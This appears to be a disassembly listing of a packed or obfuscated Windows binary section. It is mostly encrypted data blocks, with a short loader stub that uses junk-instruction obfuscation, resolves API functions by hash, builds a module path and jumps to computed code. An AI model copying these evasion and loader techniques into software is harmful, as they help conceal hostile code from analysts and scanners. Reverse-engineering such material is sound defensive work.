		dd 53E326C5h, 17B740E9h, 1224F5F8h, 1A9BCF56h, 0EBE85969h
		dd 7B679E6Bh, 339E4CB3h, 5C0D8087h, 0A5492095h,	781D8C60h
		dd 2A1490Fh, 0E89B0000h, 29968592h, 16CB1781h, 8FAEB105h
		dd 3895B42Fh, 0C009E0D5h, 0C20FB91Ch, 0B124ED1Ah, 0F0E52AC6h
		dd 0F128E707h, 0CBF2E906h, 8A63F33Eh, 0A55C8610h, 9178635Ch
		dd 8A58CA7Dh, 86832996h, 0FA66DD35h, 0BDA8C9BEh, 13B5h
		dd 41E32E91h, 2FD53A96h, 3BE122C8h, 2ED62F9Ch, 40E423C7h
		dd 0CCF0AFE2h, 0DE093Bh, 0CFEED90Bh, 0FAE3023Ah, 3603F113h
		dd 96815425h, 5C1CD123h, 23AA638Ch, 0B44F7986h,	1A50C6A2h
		dd 968580F9h, 0C900FD29h, 0C544A710h, 0A213F0DAh, 2F0A27C7h
		dd 8530490Ah, 0F0AD2996h, 761FEB5Eh, 57BD2F96h,	1118751Fh
		dd 6199BDFAh, 8AA14B72h, 0A49F3939h, 40F930F9h,	47F211B7h
		dd 0DF7584C5h, 0F105605Fh, 0C93AA047h, 349A25C4h, 17B837D7h
		dd 530019C4h, 2397202Ah, 0BE2FFAA7h, 5DCB10CEh,	39F00778h
		dd 272A5300h, 0FAA72397h, 242F0A2Fh, 23972759h,	0DC0529D6h
		dd 5782D84Eh, 903CC6BCh, 8ECD7429h, 1D9E12EBh, 639BBB68h
		dd 41BE4774h, 5BB8719Ch, 0BEF042EDh, 0DAA184ADh, 0B6000012h
		dd 0A74EF61Bh, 0B114C847h, 9D48FC07h, 0B413C93Ch, 47DDFF08h
		dd 0DA2D8DCAh, 0F219C322h, 0C940AB4Ah, 20BB413h, 143FF8DAh
		dd 23968069h, 8CBF81E6h, 0B5567863h, 2DA06940h,	0ABD22BBDh
		dd 202F9A98h, 76CB76BBh, 24A96489h, 0F06EE175h,	0DE2F8F36h
		dd 0FCE0FDE1h, 1ACF8A0Bh, 24E2FCF4h, 79FD0104h,	8841CCF1h
		dd 75CF2C24h, 59908688h, 557986A3h, 0D06633BAh,	0AB51BC21h
		dd 0C14C718Eh, 7BA7312Dh, 912C4EC6h, 0B56ADB39h, 0DAFD6D5Fh
		dd 648A30E0h, 688572C7h, 53BE91A5h, 0DB299CF1h,	870EF7E4h
		dd 0C7B43CD2h, 512CE712h, 0CE1D9D10h, 7F03DD1h,	0DBFA22E1h
		dd 989F16EDh, 1ADFD637h, 26C83B9Dh, 7986AC3Ah, 0D4A5B651h
		dd 511D9D10h, 9D649D54h, 0BD51BE22h, 9625F48Ah,	132AA223h
		dd 3944CFEFh, 0B617A39Fh, 0D93DE3C9h, 120FE707h, 0FACD7DC1h
		dd 3D2849A4h, 11E1h, 4DEF22BDh,	13C946AAh, 47FD06B4h, 12CA3BA0h
		dd 0DC0007B3h, 608CCB46h, 6C5275A7h, 735A7D9Fh,	66876E96h
		dd 0AA4F75A7h, 96801069h, 18D88D23h, 828D31CEh,	39B85E0Bh
		dd 96175C94h, 0BFA7C632h, 24C519CAh, 3F955CE9h,	0FF708A17h
		dd 0B824723h, 28D1099Fh, 8F554FEBh, 66878D2Fh, 7446714Dh
		dd 0E504EC02h, 0DE8B0205h, 0C448F113h, 0E81B723Eh, 81B00465h
		dd 0C46E200Dh, 0B717D678h, 9741A458h, 0CE56B86Ch, 6D818C31h
		dd 63B67F1h, 774D6E0Eh,	0AE4005D4h, 0E20CD281h,	12FA2F8Eh
		dd 0AD1CE2A1h, 0DD1539C3h, 0B83DD2EEh, 1EA528E1h, 239D8357h
		dd 0F122F5D5h, 239D8388h, 0DCD11805h, 0C4FCF0DBh, 0DFFB4D23h
		dd 6F595C95h, 8C944A98h, 0FF715581h, 0C748D69Bh, 0B398E172h
		dd 0C350239Ch, 239CB3BAh, 0B7544A37h, 9CB3E19Ch, 68A15E23h
		dd 0CD5AC6h, 1AA50000h,	0D1AC67B4h, 4E239CB3h, 44159851h
		dd 31CE8CB2h, 0A1787D88h, 9D825E8Dh, 9685FB7Eh,	468B7829h
		dd 5588684Fh, 8C776176h, 1E098C45h, 0A44548BDh,	5558AF1Bh
		dd 2E9F6C52h, 51A0B67Bh, 3A35856Dh, 0EA74E0AEh,	0DB4DFD1Fh
		dd 75F9848Fh, 89762996h, 0AC7A9940h, 0A2F8F8Eh,	183ED1EDh
		dd 5CD823E0h, 44B0F119h, 10834A2Bh, 805F0000h, 648C6B91h
		dd 6C4E79ABh, 59826597h, 6D4D78ACh, 51D0629Ah, 974DBA22h
		dd 0C77D8E30h, 984CBD20h, 0C77D902Dh, 0BEBF5C1Dh, 3B23967Dh
		dd 648CF296h, 85DDA0BBh, 68532996h, 897D2CA1h, 860E6FACh
		dd 9E8B2996h, 9E639E53h, 85C5B863h, 45422996h, 9685C3B6h
		dd 0B3434029h, 735C89h,	0CEA40000h, 6D818C31h, 28AD627Eh
		dd 0B1567681h, 0B57C19Dh, 8DF02BD6h, 0A299685h,	53CF91Dh
		dd 410AA60Fh, 26C8A4BBh, 217C5060h, 2C920D33h, 2AFC4FDFh
		dd 552F8F11h, 0E1DB4BA8h, 0B6BFB0F1h, 0FE0AFh, 0FC15BC00h
		dd 0CE419D48h, 0FA09AF16h, 0CF36A342h, 0E522CA2Dh, 0EFACE53Fh
		dd 0DD083CCBh, 0EDD80CFFh, 0DE093BCEh, 0EAD80C01h, 7D6B0E4Dh
		dd 83E82396h, 0AA638CC5h, 0C5F99D6Fh, 9D3193D2h, 15C4C93Ch
		dd 0C6B13ADCh, 0FF0CB229h, 0F9E4C3CAh, 359A9D10h, 9B04D5D8h
		dd 47D6D72Eh, 6CBC6270h, 0EA94591h, 72A158ADh, 29963307h
		dd 92779784h, 4D2F0ADEh, 2A897h, 95F17100h, 9742980Eh
		dd 8F9E967Ch, 2F9B242Fh, 0DD04D5D8h, 9D6D3B3Eh,	2BCBB823h
		dd 1C37D6D3h, 17351600h, 990E927Ah, 0CF390B7h, 0B2E87EEAh
		dd 0BDEECC87h
		dd 0D52C35FEh, 24D5EBFFh, 2ECD5DF1h, 2A0D6E4Bh,	0FCE4DBC8h
		dd 27C7A213h, 1EDBD2CFh, 0C7CE39A1h, 0F660FC12h, 3FB6537Ah
		dd 7D7A9F6Ah, 7623AA5Dh, 0C66A079Eh, 9ABCDAB6h,	6D5B649Dh
		dd 0B8CD8096h, 5830099Fh, 160772A1h, 97842410h,	0D3657F77h
		dd 97635010h, 942BD61Bh, 5AC6C52Bh, 7B906595h, 86678EB6h
		dd 0D4842C87h, 9B94B08Eh, 0EC89Ah, 0D43DA400h, 0E629C530h
		dd 0D231973Eh, 0E71ECB2Ah, 0DD2A9235h, 0E7940D27h, 0F5E00403h
		dd 0E51034D7h, 0F6E10306h, 0E21034D9h, 7C730615h, 7BF02396h
		dd 0AB648CBDh, 0A5608976h, 54C25891h, 0A62ED30Eh, 3DFCCB6h
		dd 0AFCA69A5h, 252995B4h, 9E4B42C5h, 5EDB7B28h,	95A512BDh
		dd 0CAF4E32Fh, 7B518841h, 0D9D7572h, 0E653E3AAh, 0E418F3D9h
		dd 0BD30DB01h, 0BA5FBB2Dh, 8F89E999h, 72A75429h, 98E172C7h
		dd 151D9D2Bh, 0C527C668h, 95379E46h, 0BE739C44h, 0DC9DBE83h
		dd 591D9D2Bh, 56618AACh, 13479479h, 0F7BEF16Bh,	0E1FF7FEh
		dd 0D4FB0000h, 0E0073Dh, 0E00AED0Fh, 0F5D60123h, 0E109EC10h
		dd 0ED24FE26h, 43F90EAEh, 2BD13AA4h, 34E821CCh,	3BE12C91h
		dd 4A33E099h, 0C723967Bh, 31CE5E22h, 0FA83908Bh, 77299685h
		dd 9B4E3F8Ah, 0E1A4B77Bh, 0AA299685h, 55B77763h, 7391B0B2h
		dd 0BE698D21h, 3DE43EA8h, 8F10641Eh, 27D2CF2Fh,	0D4D92A90h
		dd 0BB44F105h, 0B44BF60Dh, 77E107h, 0A2E7BCD4h,	0CC6DC767h
		dd 6F7F8633h, 43D65F3h,	0B75B1E3Dh, 0E8D1239Ch,	5AFCA91Dh
		dd 9E853EDDh, 23A92998h, 0EDF612A9h, 0E9112542h, 0E128E50Ah
		dd 0EF1EBF38h, 0D845AA4Dh, 0A123423Bh, 7C2BF1Dh, 0FD5398ACh
		dd 866F80BEh, 0D65h, 0D1739E41h, 9F45CA26h, 0CB719238h
		dd 9E46BF2Ch, 0D0749337h, 5C803F72h, 704E79ABh,	5F7E699Bh
		dd 6A5372AAh, 0A65381A3h, 967B0475h, 2CCC8123h,	968591E8h
		dd 86665129h, 617E6D81h, 638A75ACh, 85D4A5B6h, 54512996h
		dd 8BBF799Dh, 0B81CC51Dh, 1B346445h, 0C67383F7h, 8EF5C895h
		dd 0E254B82Fh, 50565F4Dh, 407CFD1Eh, 0CF9239Ch,	0ECC931C5h
		dd 9C404E2Fh, 13DECB23h, 68C113EEh, 5CB10E51h, 8E2B8878h
		dd 8A628968h, 0EF3D62B0h, 0CC70B9B1h, 9247C229h, 5144C725h
		dd 886D7698h, 0CC5h, 0E873CEB8h, 29968595h, 65011512h
		dd 0E172A7F3h, 2F8FAED5h, 5D203BD8h, 0E8239D5Ch, 0F8F7F71Ah
		dd 93C2248Fh, 3BEEDF26h, 0F9063BF6h, 0C82135D0h, 9D403E3Bh
		dd 0E4F21D23h, 0D6184E22h, 9ABE1648h, 98B8F3CCh, 0F56D264h
		dd 0B0000002h, 7C8731CEh, 5F8EA079h, 9C735B7Ch,	4894019h
		dd 0BA20B923h, 5C954449h, 9C714E59h, 97745A65h,	3AB34316h
		dd 0A465886Fh, 91786392h, 0A8618C6Bh, 0C721B525h, 34E5E827h
		dd 9E1744FDh, 0AB299685h, 5B31ECCh, 0E722F7FEh,	0E02FAB22h
		dd 16C33CF2h, 0F0EFEEFh, 0A945DE4Dh, 0B342D41Dh, 3EDB0108h
		dd 0A9255803h, 0E5A22995h, 0C134D1FAh, 44A746E8h, 36E51CC5h
		dd 2995A943h, 0BA33C3C0h, 22E308EFh, 0AA34390Ch, 19C22995h
		dd 0E1FEE9ECh, 0EA21A92Ch, 39CAF0FCh, 0B7A36AF0h, 1BC116B5h
		dd 0E52CFDF0h, 539F0B3Fh, 95A8B5C8h, 0CBAE6D29h, 482995A8h
		dd 56BE6B5Bh, 2E169C27h, 0B46DA473h, 0D6A7B48Dh, 53299642h
		dd 0F48DC056h, 61299642h, 0A84631A4h, 0B816C163h, 78556253h
		dd 430376A5h, 51802996h, 9E539E69h, 73CE7317h, 964295E8h
		dd 1151229h, 9D1AD402h,	0FCACB3Eh, 3DCEF0FFh, 39461004h
		dd 6A3A62A3h, 963AD0A9h, 99504D29h, 615EBB75h, 871A27Dh
		dd 8529963Bh, 2EBD5198h, 0E07A7B90h, 4CF52C76h,	0A10AB8C8h
		dd 8EA05848h, 8F5CE7BBh, 977D1A2Fh, 0C77EBD41h,	0A5D86307h
		dd 22239D07h, 0CC75AC65h, 9D07EE8Fh, 98BE6B23h,	9A93799Eh
		dd 3B642545h, 913BBA5Ch, 0DC4CA45Dh, 9D2D3E3Fh,	0E6CEBB23h
		dd 3F8A7FB0h, 49BC1D9Ah, 3AAE3CA5h, 0F70039E0h,	2E2135D4h
		dd 239D6F4Fh, 0C649A5C4h, 3C9D1ACFh, 0DC15C4C9h, 0E3309A25h
		dd 9D6F4538h, 0CC5C223h, 0B25901EAh, 0E526C8A4h, 0B836983Fh
		dd 0B78B49EEh, 21945D72h, 1EC31F89h, 7CFD1EE3h,	0F9239D82h
		dd 7F67EA0Ch, 65299696h, 6DFE7F9Ch, 48741DA4h, 0AB1BCEBFh
		dd 0F3A058FEh, 0A46D1568h, 5C95921Dh, 268D7FA8h, 7720C508h
		dd 9537B658h, 77A4D586h, 64211DA4h, 0AAA074ADh,	661744EEh
		dd 0E31DA39Eh, 7BB4CE26h, 0E70E28CEh, 1F4EE804h, 0EC2FA0CBh
		dd 0D603FC25h, 4BEBBE2Fh, 31CE4FF1h, 0A1787D88h, 1B47D18Dh
		dd 3BA41BE6h, 0E80EDBD2h, 8FA71565h, 8B34CB2Fh,	0B85E0B82h
		dd 0A7524340h, 62B8C152h, 0E370239Dh, 239D629Ah, 87746A17h
		dd 83B41825h, 0E076AC8Eh, 0E172AD11h, 239D5C98h, 4B6F6815h
		dd 0A96039BCh, 743E9673h, 0E118110Bh, 23E207F0h, 66FF2D13h
		dd 0A82DDA02h, 54251BF1h, 0EACDB0B2h, 5025AE1Fh, 0CE29967Eh
		dd 0C78700F2h, 0CA703082h, 43A98EFFh, 0AB14C5C8h, 41C9CC43h
		dd 36C29CCAh, 0E9EB83CFh, 7A1976FAh, 0C4B5663Dh, 4129962Dh
		dd 0C7548D44h, 29962DB6h, 2BE07633h, 4D2F05B1h,	9643BC85h
		dd 90AB7E6Fh, 299621EDh, 78E7563h, 9FAF6C52h, 5483h, 648C6500h
		dd 0CA9E76ABh, 0E46503D2h, 0AD568F9Fh, 2995D4CCh, 7D709D42h
		dd 34B9567Ah, 712D3954h, 7A3422E9h, 78E94D92h, 6485005Fh
		dd 0B47D2CA1h, 65689F4Bh, 6B53A2B4h, 3ABB4872h,	0AF72AA5Fh
		dd 2995F50Eh, 0FF50C736h, 47F2FFFFh, 95AA710Ch,	1D31EE29h
		dd 8D638C17h, 0B67B3F70h, 8EB37E2Ch, 4CD5A8B3h,	55522996h
		dd 31CE7BC1h, 986D4E8Bh, 698D5C51h, 66FFC080h, 68D11434h
		dd 0A56D7C64h, 0FA1C08A4h, 523AA644h, 477B502Fh, 0CD000000h
		dd 174466FFh, 29968566h, 3DEB26E3h, 628C73CEh, 0A62B4B8Ch
		dd 8C45A46Dh, 8BBE5009h, 299674F2h, 408B22AAh, 2E45C41Ah
		dd 1533F008h, 31CE7ACEh, 5C0D808Bh, 22937A63h, 0A848A747h
		dd 2E12B967h, 508Ah, 73CEB600h,	968595E8h, 1151229h, 7AAEFC65h
		dd 85EC8DCEh, 30A42996h, 2B97780Ah, 729DB135h, 955CA711h
		dd 0FB46CE73h, 87035A04h, 0A752DF6Fh, 56B8C152h, 48352996h
		dd 648C90A6h, 27127DABh, 286AA0A5h, 963A92EBh, 0BA120F29h
		dd 0D579FC31h, 735E8C5Fh, 0FBD1C44Bh, 63F20C25h, 0BF0ABFFFh
		dd 0CF3445CEh, 44AA2995h, 0FCE1C6C7h, 2E9B9C11h, 756156D7h
		dd 6C7A91A9h, 54775A80h, 0A06940B5h, 0B5669B7Ch, 2995CFC4h
		dd 9FB24441h, 2995E051h, 0E0F115F6h, 20C96663h,	0F039F0E5h
		dd 0D2F70039h, 0E32ED901h, 0EF0AA253h, 0E0D7FFFFh, 55EB0BFCh
		dd 79AB648Ch, 0D60B57C1h, 0DF28942Bh, 8560193Ah, 20DD2996h
		dd 9CC33B0Eh, 413E2F8Fh, 6DB2C74Ch, 0A891239Dh,	126BA851h
		dd 8F239D6Eh, 6DF88192h, 8875239Dh, 7B4B9766h, 48D641E1h
		dd 0AECF8CB5h, 2B239D65h, 74CD87Eh, 96000000h, 18Ah, 69FFB600h
		dd 73040831h, 0BC756ECAh, 0F34BCBB0h, 0EFCBF921h, 26CC91Dh
		dd 2CC29138h, 0CDE654FFh, 3CE92F8Eh, 0A49F0B9h,	239C746Fh
		dd 0D01F2FECh, 36FD1FF0h, 239C747Ch, 0A1DC77C2h, 1E239C73h
		dd 0E29BB861h, 5F239C73h, 7E5D8CA2h, 4F6E598Bh,	2CA16288h
		dd 728DB47Dh, 94CCA14Bh, 5B09C1F7h, 0E5678096h,	9BC74082h
		dd 1F1C01D3h, 4771EDE7h, 179E6F50h, 9E3DAC42h, 0BC5EB66Bh
		dd 9858977h, 0D4A5B66Bh, 51239BE9h, 4D78C254h, 0AB949D70h
		dd 0D9349942h, 45CC05D4h, 38342281h, 69D77697h
		dd 7FBC46CEh, 0DBDDF599h, 9E0FF8E4h, 0AE62BCBh,	0CB4DAFD6h
		dd 16Eh, 4D30EB16h, 0CA2915FEh,	36AF4BC0h, 0E722B378h
		dd 6BFFF147h, 0E32EE1FDh, 0E98DCE45h, 0A7299685h, 0BA5CAD10h
		dd 0E099BA5Fh, 5D299685h, 749337A0h, 4E7B84BDh,	0D36336B7h
		dd 8C73CE6Dh, 0B8537964h, 9C57DD71h, 638CAB4Ah,	66886FAAh
		dd 0D57930A5h, 0FFBE825Fh, 2FDC0266h, 6FD146FAh, 2F523AA6h
		dd 506D8A50h, 978D99BDh, 50000000h, 73838267h, 0E873CECDh
		dd 29968595h, 14FBE312h, 0B42D39DDh, 46CEC266h,	0AA13E72Dh
		dd 0A9F19163h, 0C70205E5h, 0C82F0A27h, 38F1E425h, 7A4A3316h
		dd 37022996h, 967A611Ch, 4D5EEC29h, 95A83CBh, 0AE46E895h
		dd 73CE4FF1h, 34AB648Ch, 0A2777E87h, 73CEA68Ch,	968595E8h
		dd 1151229h, 6651CEF2h,	376858Ah, 80299686h, 0CE9A4E83h
		dd 0DA7C8731h, 0DDFFF8A1h, 28D5A72Eh, 685813CEh, 93A94D84h
		dd 7D8831CEh, 5C8DA178h, 5Eh, 0A6FE379Dh, 0E8393079h, 46CEF046h
		dd 7F33822Ah, 551125FDh, 59846CCCh, 4821946Fh, 945D0C81h
		dd 0EC8DCE74h, 86299685h, 7ACEB14Fh, 95E873CEh,	12299685h
		dd 0CEF20115h, 0C0349841h, 4435E6E5h, 0C12995C6h, 0D214F0C4h
		dd 122E042Ah, 3841D227h, 0B5299685h, 4F6C60ABh,	0E32E0056h
		dd 73CEED53h, 968595E8h, 0F6251229h, 29968583h,	28CE0300h
		dd 0FFFE7BC7h, 73CEF9FFh, 968595E8h, 1151229h, 9940CDF2h
		dd 85CAB360h, 0A0402996h, 3BAB7E6Fh, 383FA84Eh,	69CE7697h
		dd 76986D4Eh, 25367CEAh, 29968554h, 4637E4D1h, 0C3299685h
		dd 1BC60BC6h, 0DBD23BA4h, 104BE80Eh, 2F8FB732h,	65765760h
		dd 59108588h, 44C32790h, 0AE6D4AB2h, 239D53CBh,	7B645B48h
		dd 93565792h, 0A44AC32Ch, 9D53D4A1h, 9D6A5223h,	5CAB0F18h
		dd 0FEECBB59h, 981F1820h, 0C342D435h, 6B3DAF97h, 93FA48D6h
		dd 45000000h, 550613BAh, 239D4B24h, 92DE4A1h, 1E46CE33h
		dd 0AC993771h, 0E177F303h, 3EB980B9h, 0AF6A6BA0h, 0DF82AC9Fh
		dd 0C39D2F8Eh, 0EAAB91BCh, 1861F233h, 95239CF4h, 31E821E8h
		dd 0F1E429C6h, 46CD1638h, 239CF42Fh, 0FAFB0EADh, 0E508CDEDh
		dd 75E8ED24h, 6E8A5482h, 8AC970C9h, 239CF4EFh, 0D9A4AF6Ch
		dd 56239CF4h, 77B25177h, 89AD5E80h, 35C26C7Ah, 0AC7D7093h
		dd 0CCEB858Ah, 44BB48D6h, 689D3E99h, 5F918DA1h,	6C000001h
		dd 0E8F38695h, 0B370239Ch, 31CE9DA3h, 5D0C818Ch, 78953AB9h
		dd 0BD4A7275h, 0A6679084h, 0A5DC5D82h, 6E4F5891h, 0A4492E9Fh
		dd 5570B369h, 7D2995D1h, 29AC5982h, 0A0699E3Eh,	8F7E5F8Eh
		dd 4979626Ah, 163BA0A4h, 2E8F3600h, 1FBD3ADFh, 0C167A6CFh
		dd 448DFB13h, 877039B2h, 963AA564h, 1F89D579h, 0EA3548D3h
		dd 0F5B22995h, 0EA6E0F4Ch, 3EEB2995h, 450D4EF3h, 102F8F00h
		dd 62E6EE13h, 13E5BB4Dh, 4A2D50B2h, 7ADBC062h, 84BD5AD4h
		dd 9CBBA6D7h, 0C8AD3123h, 0FD2A15F6h, 3BA31C09h, 0B02642D4h
		dd 95779838h, 0C2738748h, 6A8F5A3Bh, 0D0A96A8Fh, 4D239D2Bh
		dd 0D98BBE50h, 8829991Fh, 380D70ABh, 6B8A1DA1h,	583F8A81h
		dd 48219475h, 72A15881h, 1DA13807h, 0B1629784h,	1DA137C8h
		dd 79B65845h, 3EB95E7Eh, 0ADD06BA0h, 2A1DA137h,	0A790B47Dh
		dd 37B8C152h, 48351DA1h, 32A347A6h, 65B67B88h, 0BEFD7F1Dh
		dd 96DDC8E9h, 72000003h, 0BB1AC24Fh, 9D48FC13h,	0B114C83Bh
		dd 0A047FD08h, 0FB19CB3Ch, 16F1D986h, 26E507EEh, 15F4D7FEh
		dd 26E708EFh, 0F823D4FEh, 23967085h, 8CAB4D02h,	9A72A760h
		dd 271918BCh, 939DB15Ah, 6C508B34h, 50B9249Bh, 9F458C5Dh
		dd 0A917927Ah, 24AD8EA6h, 69FF2C12h, 0E34B0831h, 0FE2F8F97h
		dd 72078C01h, 51239D72h, 2DEA8B6h, 0C348D64Eh, 15Ch, 0AA638C25h
		dd 0B162886Fh, 9685D7A2h, 62A75429h, 4F98BE6Bh,	0DB668468h
		dd 6D0D3ACDh, 4AB56CA5h, 0A1B267A4h, 29966CD8h,	5D86A855h
		dd 51B8239Ch, 6D126BA8h, 928F2996h, 70F8C97Ch, 1DE2996h
		dd 0C82FD80Ch, 0A150E627h, 8F28D13Ch, 0FA0FAE2Fh, 54C61F2Fh
		dd 126BA8C2h, 8F299669h, 57A25792h, 9668C1BCh, 0AD0F3E29h
		dd 0B683935Eh, 8F7EADA5h, 0A24CB32Fh, 0A1B56469h, 0C078AC59h
		dd 7EFF1C56h, 0FB239D52h, 4353E8F1h, 0F138354Ch, 0AF520138h
		dd 1C299945h, 99F2CC42h, 27C63EE0h, 0F33EEBE2h,	3F6C0D4Eh
		dd 3CE91DA1h, 48C84CF5h, 0FF9F1123h, 0AB85BE4Ch, 0E42D6CA7h
		dd 0E51CE552h, 0A15C4336h, 33C3C01Dh, 4AEF18C4h, 5BFB0EADh
		dd 7CD438E1h, 1861F224h, 951DA134h, 10A304E8h, 903CBB5Bh
		dd 0A45C9C77h, 0B3BCBEFDh, 238B2h, 64AD1400h, 56B915C0h
		dd 62A147AEh, 57AE1BBAh, 6D9A42A5h, 77245DB7h, 6590B453h
		dd 75608487h, 6691B356h, 72608489h, 6FE396C5h, 0EB602396h
		dd 8731CE4Dh, 7263A04Ah, 7C7B72B7h, 6336B750h, 816988AEh
		dd 2DA06954h, 688FB57Ch, 0DC836987h, 0CCDB9EBDh, 0AB582995h
		dd 0C3E6449h, 12FA1FC5h, 70AB163Fh, 2996060Dh, 0A379D8Ah
		dd 0B67C9208h, 7F8A31CEh, 3CBB5B0Eh, 3CCE5D93h,	0B759717Dh
		dd 8D30C772h, 6811DA7Ch, 1A9B6A4Fh, 9F40AF3Fh, 0AB61B36Eh
		dd 2BBF986Fh, 0D3DF717h, 329A3F9Bh, 5C073C7Eh, 0B97698ACh
		dd 8F9BE89Ah, 49718E2Fh, 0CC6237BEh, 35C27724h,	0D87A5898h
		dd 0C8CD3AA2h, 443EBB11h, 5E89BB76h, 98755A81h,	229D5C51h
		dd 74484DBAh, 0FED8C029h, 7D915832h, 203B77E1h,	239D225Dh
		dd 36CDFBDAh, 0CD1FEABFh, 57A266C9h, 73AE63F5h,	9D04E3E8h
		dd 46A5C429h, 0D217D2C3h, 0F16EED01h, 0D1819BEh, 12Dh
		dd 0F92BE609h, 0E71DF2CEh, 0F329DA00h, 0E61EE7D4h, 0F82CDBFFh
		dd 14B8E71Ah, 48A651F3h, 17B621C3h, 42AB4AF2h, 0EAB19CBh
		dd 966E2C4Dh, 8444A923h, 0E4DF46CEh, 41A7C47Eh,	65479C61h
		dd 36A16297h, 0AC7D7095h, 1248DE8Ah, 19B2CE7h, 97842F96h
		dd 94775562h, 617E6982h, 0A99F75ACh, 48142609h,	4EB9219Eh
		dd 0B27C9247h, 0E6FAC55h, 8B239608h, 5479789Eh,	2FA66587h
		dd 7B3EAF7Ah, 98C35C84h, 239607E5h, 0CA6CA562h,	0AABDFF87h
		dd 0F0DED95Fh, 23AD3FCh, 0E983AF25h, 13FC892Ch,	84AA5FA6h
		dd 5C858865h, 0F1BD0878h, 97B7C791h, 0A814AB4Eh, 0BB20CF5Fh
		dd 7AC7434Ah, 0C7E994BFh, 0C966E780h, 80C7EF8Ah, 7AAF6CE7h
		dd 753925D4h, 0C7EE8FCCh, 0BE6BE780h, 67745998h, 53068786h
		dd 4B867F6Ch, 65403E96h, 97B7F14Dh, 635CBD77h, 707F8F76h
		dd 0EC8DCE4Fh, 77E78167h, 0ECA12156h, 0E312F4D5h, 0CD9C11F8h
		dd 0ED14CD04h, 80E64B2Eh, 0ED18C1E7h, 9ECD31E8h, 15C4C93Eh
		dd 0C4B13ADCh, 0Dh, 0C5320FFCh,	3DECE124h, 5DF11EC2h, 0AC658CD7h
		dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h
		dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h
		db 0CCh
		db 1Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	2F40h
		mov	[esp], eax
		push	495h
		mov	[esp], edi
		push	ebp
		mov	ebp, 4F1F6F5Dh
		or	ebp, 47FA4A16h
		sub	ebp, 2BBB53A9h
		push	ecx
		mov	ecx, 1E442A40h
		sub	ebp, ecx
		pop	ecx
		mov	eax, ebp
		pop	ebp
		push	45F4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		sub	dword ptr [esp], 252F4FC8h
		pop	dword ptr [edi+8]
		add	dword ptr [edi+8], 252F4FC8h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 0BBh, 6Fh, 9Ah
		db 0CCh
		db 0F5h, 14h, 66h
		db 0EFh, 0Ch, 47h
; ---------------------------------------------------------------------------


loc_5DCF53:				; CODE XREF: .XComp0:005DA6A0j
		mov	eax, 60018D5h
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+5F91899h], 47h
		push	0CF381725h
		push	dword ptr [ebp+5F92719h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+5F92F0Dh]
		push	eax
		push	104h
		call	ebx
		mov	byte ptr [ebp+5F91899h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+5F92719h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		mov	[ebp+5FFEF52h],	eax
		cmp	dword ptr [ebp+5F929B9h], 0
		jz	loc_5DCFBD
		mov	ebx, [ebp+5F90875h]
		jmp	loc_5DCFC2
; ---------------------------------------------------------------------------


loc_5DCFBD:				; CODE XREF: .XComp0:005DCFACj
		mov	ebx, 0


loc_5DCFC2:				; CODE XREF: .XComp0:005DCFB8j
		push	100h
		lea	esi, [ebp+5FFEF56h]
		push	esi
		push	ebx
		call	dword ptr [ebp+5F92569h]
		lea	esi, [ebp+5FFEF56h]
		add	esi, eax
		jmp	loc_5DCFE3
; ---------------------------------------------------------------------------


loc_5DCFE2:				; CODE XREF: .XComp0:005DCFEFj
		dec	esi


loc_5DCFE3:				; CODE XREF: .XComp0:005DCFDDj
		cmp	byte ptr [esi],	5Ch
		jz	loc_5DCFF5
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5DCFE2


loc_5DCFF5:				; CODE XREF: .XComp0:005DCFE6j
		mov	byte ptr [esi],	0
		lea	eax, [ebp+5FFEF56h]
		push	eax
		call	dword ptr [ebp+5FFEF52h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		dd 5BC8E54Fh, 1EA8EF29h, 36E92B3Fh, 39131B8Dh, 0D6CD0Dh
		dd 2A997232h, 3ECE951Ah, 276DC582h, 762D2D52h, 56B3B25Dh
		dd 58C480B0h, 6B5394DDh, 389C17A7h, 25BC37F9h, 746DB337h
		dd 691403Eh, 39B2ECDFh,	27D7BCCAh, 28E9h, 2F9D2A00h, 1D8C9374h
		dd 81E89DE6h, 64746E2Eh, 642E6C6Ch, 67006C6Ch, 3B2BD14h
		dd 0FEB980h, 2 dup(0)
		dd 90DE900h, 0A9680000h, 0E906001Ch, 0FFF9646Eh, 1DAF68h
		dd 6464E906h, 8C68FFF9h, 0E906001Eh, 0FFF9645Ah, 1F8768h
		dd 6450E906h, 0A368FFF9h, 0E9060020h, 0FFF96446h, 21E468h
		dd 643CE906h, 14BBFFF9h, 40A047FDh, 20CA2DCFh, 359641E3h
		dd 21C92CD0h, 0ADE43EE6h, 339CEEEh, 0EB11FAE4h,	0F428E10Ch
		dd 0FB21ECD1h, 8AF320D9h, 723966Bh, 0B1629762h,	23966BC8h
		dd 80B65845h, 95E873CEh, 12299685h, 63F00115h, 50000000h
		dd 4B8831CEh, 2E9F6AA1h, 0B31CDB7Bh, 85D0A96Ah,	0A6462996h
		dd 49BD6C61h, 14B67B3Fh, 9257787Fh, 0CC2AA257h,	20E9D4F6h
		dd 5118FCADh, 0FB977DA3h, 0CEC1C457h, 675099BDh, 548C6A86h
		dd 96031AA9h, 0DB9AA95Bh, 9B299622h, 5B52BB24h,	56FBCD71h
		dd 5E9340C7h, 879239B8h, 9630B1CCh, 0B8712E29h,	69FFAA84h
		dd 85671241h, 1AE42996h, 14ABEA22h, 0C009C05Eh,	75F4B319h
		dd 432C6F93h, 94BA6F96h, 46A6297h, 561E31B7h, 0A9C184AAh
		dd 442F8F8Dh, 0C8AD5657h, 46239D5Dh, 8B6C61A6h,	4225A85Fh
		dd 0EA1D6F9Ch, 791A05FCh, 451A2BC9h, 34CB748Ch,	906F7F88h
